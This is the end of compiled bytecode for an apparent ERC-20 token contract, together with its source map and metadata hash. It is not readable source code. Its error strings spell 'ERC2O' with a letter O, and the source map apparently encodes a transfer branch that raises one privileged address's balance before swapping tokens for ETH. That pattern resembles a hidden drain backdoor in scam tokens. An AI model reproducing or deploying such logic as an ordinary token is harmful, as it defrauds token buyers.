f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611122826110f9565b9050919050565b61113281611118565b811461113c575f80fd5b50565b5f8135905061114d81611129565b92915050565b5f819050919050565b61116581611153565b811461116f575f80fd5b50565b5f813590506111808161115c565b92915050565b5f806040838503121561119c5761119b6110f5565b5b5f6111a98582860161113f565b92505060206111ba85828601611172565b9150509250929050565b5f8115159050919050565b6111d8816111c4565b82525050565b5f6020820190506111f15f8301846111cf565b92915050565b61120081611153565b82525050565b5f6020820190506112195f8301846111f7565b92915050565b5f805f60608486031215611236576112356110f5565b5b5f6112438682870161113f565b93505060206112548682870161113f565b925050604061126586828701611172565b9150509250925092565b5f60ff82169050919050565b6112848161126f565b82525050565b5f60208201905061129d5f83018461127b565b92915050565b5f602082840312156112b8576112b76110f5565b5b5f6112c58482850161113f565b91505092915050565b6112d781611118565b82525050565b5f6020820190506112f05f8301846112ce565b92915050565b5f806040838503121561130c5761130b6110f5565b5b5f6113198582860161113f565b925050602061132a8582860161113f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061137857607f821691505b60208210810361138b5761138a611334565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113c882611153565b91506113d383611153565b92508282039050818111156113eb576113ea611391565b5b92915050565b5f815190506113ff81611129565b92915050565b5f6020828403121561141a576114196110f5565b5b5f611427848285016113f1565b91505092915050565b5f6040820190506114435f8301856112ce565b61145060208301846112ce565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6114b1602483611055565b91506114bc82611457565b604082019050919050565b5f6020820190508181035f8301526114de816114a5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61153f602283611055565b915061154a826114e5565b604082019050919050565b5f6020820190508181035f83015261156c81611533565b9050919050565b7f455243324f3a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6115cd602383611055565b91506115d882611573565b604082019050919050565b5f6020820190508181035f8301526115fa816115c1565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61165b602583611055565b915061166682611601565b604082019050919050565b5f6020820190508181035f8301526116888161164f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6116e9602983611055565b91506116f48261168f565b604082019050919050565b5f6020820190508181035f830152611716816116dd565b9050919050565b5f61172782611153565b915061173283611153565b925082820190508082111561174a57611749611391565b5b92915050565b5f61175a82611153565b915061176583611153565b925082820261177381611153565b9150828204841483151761178a57611789611391565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6117c882611153565b91506117d383611153565b9250826117e3576117e2611791565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61187461186f61186a84611848565b611851565b611153565b9050919050565b6118848161185a565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6118bc81611118565b82525050565b5f6118cd83836118b3565b60208301905092915050565b5f602082019050919050565b5f6118ef8261188a565b6118f98185611894565b9350611904836118a4565b805f5b8381101561193457815161191b88826118c2565b9750611926836118d9565b925050600181019050611907565b5085935050505092915050565b5f61195b611956611951846110f9565b611851565b6110f9565b9050919050565b5f61196c82611941565b9050919050565b5f61197d82611962565b9050919050565b61198d81611973565b82525050565b5f60a0820190506119a65f8301886111f7565b6119b3602083018761187b565b81810360408301526119c581866118e5565b90506119d46060830185611984565b6119e160808301846111f7565b969550505050505056fea26469706673582212204e4844e98d66bf7aa2525ff04ca2b8e3ba0d6015eccf1e846f631b3da2ae9ec364736f6c63430008160033

577:3897:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1551:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2260:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1737:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3331:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1460:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1978:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1642:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2096:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3153:166;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1836:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1551:83;1588:13;1621:5;1614:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1551:83;:::o;2260:150::-;2326:4;2343:37;2352:10;2364:7;2373:6;2343:8;:37::i;:::-;2398:4;2391:11;;2260:150;;;;:::o;1737:91::-;1781:7;1808:12;;1801:19;;1737:91;:::o;3331:253::-;3420:4;3437:36;3447:6;3455:9;3466:6;3437:9;:36::i;:::-;3484:70;3493:6;3501:10;3547:6;3513:11;:19;3525:6;3513:19;;;;;;;;;;;;;;;:31;3533:10;3513:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;3484:8;:70::i;:::-;3572:4;3565:11;;3331:253;;;;;:::o;1460:83::-;1501:5;1526:9;;;;;;;;;;;1519:16;;1460:83;:::o;1978:110::-;2035:7;2062:9;:18;2072:7;2062:18;;;;;;;;;;;;;;;;2055:25;;1978:110;;;:::o;1642:87::-;1681:13;1714:7;1707:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1642:87;:::o;2096:156::-;2165:4;2182:40;2192:10;2204:9;2215:6;2182:9;:40::i;:::-;2240:4;2233:11;;2096:156;;;;:::o;3153:166::-;3193:7;3238:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3220:52;;;3281:4;3288:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3220:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3213:98;;3153:166;:::o;1836:134::-;1908:7;1935:11;:18;1947:5;1935:18;;;;;;;;;;;;;;;:27;1954:7;1935:27;;;;;;;;;;;;;;;;1928:34;;1836:134;;;;:::o;2416:335::-;2526:1;2509:19;;:5;:19;;;2501:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2607:1;2588:21;;:7;:21;;;2580:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2689:6;2659:11;:18;2671:5;2659:18;;;;;;;;;;;;;;;:27;2678:7;2659:27;;;;;;;;;;;;;;;:36;;;;2727:7;2711:32;;2720:5;2711:32;;;2736:6;2711:32;;;;;;:::i;:::-;;;;;;;;2416:335;;;:::o;3592:879::-;3694:1;3680:16;;:2;:16;;;3672:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3771:1;3755:18;;:4;:18;;;3747:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3843:1;3834:6;:10;3826:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3901:17;3944:4;3938:10;;:2;:10;;;:32;;;;;3960:10;;;;;;;;;;;3952:18;;:4;:18;;;3938:32;3933:146;;;4015:6;3987:9;:24;4005:4;3987:24;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;4043:24;4060:6;4043:16;:24::i;:::-;4036:31;;;3933:146;4109:4;4093:21;;:4;:21;;;;:42;;;;;4126:9;:7;:9::i;:::-;4118:17;;:4;:17;;;;4093:42;:64;;;;;4147:10;;;;;;;;;;;4139:18;;:4;:18;;;;4093:64;:84;;;;;4167:10;;;;;;;;;;;4161:16;;:2;:16;;;;4093:84;4089:209;;;4283:3;4232:16;;;;;;;;;;;:24;;;4257:4;4271;4232:45;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4216:63;;4206:6;:74;;;;:::i;:::-;:80;;;;:::i;:::-;4194:92;;4089:209;4347:9;4338:6;4322:9;:13;4332:2;4322:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:34;;;;:::i;:::-;4308:9;:13;4318:2;4308:13;;;;;;;;;;;;;;;:48;;;;4401:6;4383:9;:15;4393:4;4383:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;4367:9;:15;4377:4;4367:15;;;;;;;;;;;;;;;:40;;;;4440:2;4425:38;;4434:4;4425:38;;;4453:9;4444:6;:18;;;;:::i;:::-;4425:38;;;;;;:::i;:::-;;;;;;;;3661:810;3592:879;;;;:::o;2759:386::-;2820:21;2858:1;2844:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2820:40;;2889:4;2871;2876:1;2871:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;2917:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2906:4;2911:1;2906:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;2951:57;2968:4;2983:15;;;;;;;;;;;3001:6;2951:8;:57::i;:::-;3020:15;;;;;;;;;;;:66;;;3087:6;3095:1;3098:4;3104:10;;;;;;;;;;;3134:2;3116:15;:20;;;;:::i;:::-;3020:117;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2809:336;2759:386;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:194;6758:4;6778:20;6796:1;6778:20;:::i;:::-;6773:25;;6812:20;6830:1;6812:20;:::i;:::-;6807:25;;6856:1;6853;6849:9;6841:17;;6880:1;6874:4;6871:11;6868:37;;;6885:18;;:::i;:::-;6868:37;6718:194;;;;:::o;6918:143::-;6975:5;7006:6;7000:13;6991:22;;7022:33;7049:5;7022:33;:::i;:::-;6918:143;;;;:::o;7067:351::-;7137:6;7186:2;7174:9;7165:7;7161:23;7157:32;7154:119;;;7192:79;;:::i;:::-;7154:119;7312:1;7337:64;7393:7;7384:6;7373:9;7369:22;7337:64;:::i;:::-;7327:74;;7283:128;7067:351;;;;:::o;7424:332::-;7545:4;7583:2;7572:9;7568:18;7560:26;;7596:71;7664:1;7653:9;7649:17;7640:6;7596:71;:::i;:::-;7677:72;7745:2;7734:9;7730:18;7721:6;7677:72;:::i;:::-;7424:332;;;;;:::o;7762:223::-;7902:34;7898:1;7890:6;7886:14;7879:58;7971:6;7966:2;7958:6;7954:15;7947:31;7762:223;:::o;7991:366::-;8133:3;8154:67;8218:2;8213:3;8154:67;:::i;:::-;8147:74;;8230:93;8319:3;8230:93;:::i;:::-;8348:2;8343:3;8339:12;8332:19;;7991:366;;;:::o;8363:419::-;8529:4;8567:2;8556:9;8552:18;8544:26;;8616:9;8610:4;8606:20;8602:1;8591:9;8587:17;8580:47;8644:131;8770:4;8644:131;:::i;:::-;8636:139;;8363:419;;;:::o;8788:221::-;8928:34;8924:1;8916:6;8912:14;8905:58;8997:4;8992:2;8984:6;8980:15;8973:29;8788:221;:::o;9015:366::-;9157:3;9178:67;9242:2;9237:3;9178:67;:::i;:::-;9171:74;;9254:93;9343:3;9254:93;:::i;:::-;9372:2;9367:3;9363:12;9356:19;;9015:366;;;:::o;9387:419::-;9553:4;9591:2;9580:9;9576:18;9568:26;;9640:9;9634:4;9630:20;9626:1;9615:9;9611:17;9604:47;9668:131;9794:4;9668:131;:::i;:::-;9660:139;;9387:419;;;:::o;9812:222::-;9952:34;9948:1;9940:6;9936:14;9929:58;10021:5;10016:2;10008:6;10004:15;9997:30;9812:222;:::o;10040:366::-;10182:3;10203:67;10267:2;10262:3;10203:67;:::i;:::-;10196:74;;10279:93;10368:3;10279:93;:::i;:::-;10397:2;10392:3;10388:12;10381:19;;10040:366;;;:::o;10412:419::-;10578:4;10616:2;10605:9;10601:18;10593:26;;10665:9;10659:4;10655:20;10651:1;10640:9;10636:17;10629:47;10693:131;10819:4;10693:131;:::i;:::-;10685:139;;10412:419;;;:::o;10837:224::-;10977:34;10973:1;10965:6;10961:14;10954:58;11046:7;11041:2;11033:6;11029:15;11022:32;10837:224;:::o;11067:366::-;11209:3;11230:67;11294:2;11289:3;11230:67;:::i;:::-;11223:74;;11306:93;11395:3;11306:93;:::i;:::-;11424:2;11419:3;11415:12;11408:19;;11067:366;;;:::o;11439:419::-;11605:4;11643:2;11632:9;11628:18;11620:26;;11692:9;11686:4;11682:20;11678:1;11667:9;11663:17;11656:47;11720:131;11846:4;11720:131;:::i;:::-;11712:139;;11439:419;;;:::o;11864:228::-;12004:34;12000:1;11992:6;11988:14;11981:58;12073:11;12068:2;12060:6;12056:15;12049:36;11864:228;:::o;12098:366::-;12240:3;12261:67;12325:2;12320:3;12261:67;:::i;:::-;12254:74;;12337:93;12426:3;12337:93;:::i;:::-;12455:2;12450:3;12446:12;12439:19;;12098:366;;;:::o;12470:419::-;12636:4;12674:2;12663:9;12659:18;12651:26;;12723:9;12717:4;12713:20;12709:1;12698:9;12694:17;12687:47;12751:131;12877:4;12751:131;:::i;:::-;12743:139;;12470:419;;;:::o;12895:191::-;12935:3;12954:20;12972:1;12954:20;:::i;:::-;12949:25;;12988:20;13006:1;12988:20;:::i;:::-;12983:25;;13031:1;13028;13024:9;13017:16;;13052:3;13049:1;13046:10;13043:36;;;13059:18;;:::i;:::-;13043:36;12895:191;;;;:::o;13092:410::-;13132:7;13155:20;13173:1;13155:20;:::i;:::-;13150:25;;13189:20;13207:1;13189:20;:::i;:::-;13184:25;;13244:1;13241;13237:9;13266:30;13284:11;13266:30;:::i;:::-;13255:41;;13445:1;13436:7;13432:15;13429:1;13426:22;13406:1;13399:9;13379:83;13356:139;;13475:18;;:::i;:::-;13356:139;13140:362;13092:410;;;;:::o;13508:180::-;13556:77;13553:1;13546:88;13653:4;13650:1;13643:15;13677:4;13674:1;13667:15;13694:185;13734:1;13751:20;13769:1;13751:20;:::i;:::-;13746:25;;13785:20;13803:1;13785:20;:::i;:::-;13780:25;;13824:1;13814:35;;13829:18;;:::i;:::-;13814:35;13871:1;13868;13864:9;13859:14;;13694:185;;;;:::o;13885:180::-;13933:77;13930:1;13923:88;14030:4;14027:1;14020:15;14054:4;14051:1;14044:15;14071:180;14119:77;14116:1;14109:88;14216:4;14213:1;14206:15;14240:4;14237:1;14230:15;14257:85;14302:7;14331:5;14320:16;;14257:85;;;:::o;14348:60::-;14376:3;14397:5;14390:12;;14348:60;;;:::o;14414:158::-;14472:9;14505:61;14523:42;14532:32;14558:5;14532:32;:::i;:::-;14523:42;:::i;:::-;14505:61;:::i;:::-;14492:74;;14414:158;;;:::o;14578:147::-;14673:45;14712:5;14673:45;:::i;:::-;14668:3;14661:58;14578:147;;:::o;14731:114::-;14798:6;14832:5;14826:12;14816:22;;14731:114;;;:::o;14851:184::-;14950:11;14984:6;14979:3;14972:19;15024:4;15019:3;15015:14;15000:29;;14851:184;;;;:::o;15041:132::-;15108:4;15131:3;15123:11;;15161:4;15156:3;15152:14;15144:22;;15041:132;;;:::o;15179:108::-;15256:24;15274:5;15256:24;:::i;:::-;15251:3;15244:37;15179:108;;:::o;15293:179::-;15362:10;15383:46;15425:3;15417:6;15383:46;:::i;:::-;15461:4;15456:3;15452:14;15438:28;;15293:179;;;;:::o;15478:113::-;15548:4;15580;15575:3;15571:14;15563:22;;15478:113;;;:::o;15627:732::-;15746:3;15775:54;15823:5;15775:54;:::i;:::-;15845:86;15924:6;15919:3;15845:86;:::i;:::-;15838:93;;15955:56;16005:5;15955:56;:::i;:::-;16034:7;16065:1;16050:284;16075:6;16072:1;16069:13;16050:284;;;16151:6;16145:13;16178:63;16237:3;16222:13;16178:63;:::i;:::-;16171:70;;16264:60;16317:6;16264:60;:::i;:::-;16254:70;;16110:224;16097:1;16094;16090:9;16085:14;;16050:284;;;16054:14;16350:3;16343:10;;15751:608;;;15627:732;;;;:::o;16365:142::-;16415:9;16448:53;16466:34;16475:24;16493:5;16475:24;:::i;:::-;16466:34;:::i;:::-;16448:53;:::i;:::-;16435:66;;16365:142;;;:::o;16513:126::-;16563:9;16596:37;16627:5;16596:37;:::i;:::-;16583:50;;16513:126;;;:::o;16645:134::-;16703:9;16736:37;16767:5;16736:37;:::i;:::-;16723:50;;16645:134;;;:::o;16785:147::-;16880:45;16919:5;16880:45;:::i;:::-;16875:3;16868:58;16785:147;;:::o;16938:847::-;17209:4;17247:3;17236:9;17232:19;17224:27;;17261:71;17329:1;17318:9;17314:17;17305:6;17261:71;:::i;:::-;17342:80;17418:2;17407:9;17403:18;17394:6;17342:80;:::i;:::-;17469:9;17463:4;17459:20;17454:2;17443:9;17439:18;17432:48;17497:108;17600:4;17591:6;17497:108;:::i;:::-;17489:116;;17615:80;17691:2;17680:9;17676:18;17667:6;17615:80;:::i;:::-;17705:73;17773:3;17762:9;17758:19;17749:6;17705:73;:::i;:::-;16938:847;;;;;;;;:::o

ipfs://4e4844e98d66bf7aa2525ff04ca2b8e3ba0d6015eccf1e846f631b3da2ae9ec3